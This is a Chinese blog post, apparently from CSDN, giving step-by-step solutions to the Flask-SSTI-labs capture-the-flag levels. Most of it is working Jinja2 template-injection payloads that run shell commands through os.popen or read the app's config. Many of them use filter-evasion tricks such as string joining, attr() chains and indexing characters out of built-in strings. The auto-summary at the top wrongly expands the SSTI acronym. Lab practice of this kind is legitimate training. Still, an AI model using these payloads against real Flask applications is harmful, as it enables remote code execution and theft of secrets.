SSTIpaload

文章描述了一系列在Flask应用中发现的安全敏感类型注入(SSTI)漏洞,从无过滤payload到逐步利用不同方法绕过过滤机制,最终目标是获取config信息。每个阶段展示了攻击者如何利用字符串拼接、编码和特殊字符过滤来执行代码并获取敏感数据。
摘要由CSDN通过智能技术生成

第一关无过滤:payoad:

{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

第二关过滤{}:payload:

{%print lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()%}

第三关无回显:payload:写入静态文件

{{lipsum.__globals__['os'].popen('echo `ls` >/app/static/1.txt').read()}}

第四关过滤[]:

{{lipsum.__globals__.get('os').popen('ls').read()}}

第五关过滤‘’:可以使用request绕过

第六关过滤_:

把__编码即可

第七关过滤.:用[]代替.

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

第八关过滤[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

字符串拼接绕过:

第九关过滤数字:但是我们的payload没有数字

用上一关的即可

第十关

这一关的目标不是flag,而是获取config,可以通过current_app来获取

{{url_for.__globals__['current_app'].config}}

第11关过滤[’’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’

{%set %}拼接

{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

code={%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{%set f=dict(__buil=a,tins__=a)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

第12关过滤[‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’]

{{()|select|string|list}}:截取环境字符

返回字符 可以通过下标取到结果

但是这里禁止了数字0-9

可以通过过滤器 | length 或者| count取到

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(numa)}}

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

第13关用上一题payload

如果过滤[’’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’_']'

{%set%0apo=dict(po=a,p=a)|join()%}
{%set%0aa=(()|select|string|list)|attr(po)(24)%}
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}
{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}

CTF题型 SSTI(1) Flask-SSTI-labs 通关 题记-CSDN博客

具体细节看这位大佬

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值